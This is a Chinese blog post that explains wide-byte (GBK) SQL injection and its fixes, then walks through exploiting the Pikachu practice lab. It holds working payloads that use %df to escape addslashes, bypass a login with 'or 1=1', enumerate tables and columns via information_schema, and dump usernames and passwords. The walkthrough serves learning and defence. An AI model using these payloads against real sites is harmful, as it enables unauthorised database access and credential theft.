SQL注入(宽字节注入)

宽字节注入原理
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生

修复建议:

(1)使用mysqli_set_charset(GBK)指定字符集

(2)使用mysqli_real_escape_string进行转义

1.  构建pyload

name=kobe%df’ or 1=1#

单引号因为PHP中使用addslashes函数,被转义为\’,编码后就是%5c%27
加上pyload中的%df 后,就是 %df%5c%27 ,然后MySQL在使用GBK编码的时候,会认为两个字符为一个汉字, %df%5c就被解析为一个汉字,%27也就是单引号就成功逃逸了,成功实现闭合,后面就可以通过or 来执行语句了。
2.  想判断一下是否有回显,然后用order by一直说用户名错误,看来应该不能用order by来判断,因为正常回显的情况下有用户id和email两项,我们直接用union select试一下    name=kobe%df’ union select 1,2#

 有回显,那剩下的就是走流程了
查询数据库

 3。  查询表名  name=kobe%df’ union select 1,table_name from information_schema.tables where table_schema=‘pikachu’#

4. 

发现没有查询成功,返回去看了一下,发现pyload里面有单引号,而在宽字节注入里面单引号是会被转义的,这里面的单引号也不能用之前的方法逃逸了,否则语句无法执行。

为了避免使用引号,采用嵌套查询

name=kobe%df’ union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#

5.  查询users的列名

name=kobe%df’ union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#
6.  查询password

name=kobe%df’ union select (select group_concat(username,0x3b,password) from users),2#      ps:这里的0x3b 指的是Hex(十六进制表;的意思,结尾的2,为开始union select 1,2#的2)

posted @   Aidy  阅读(185)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示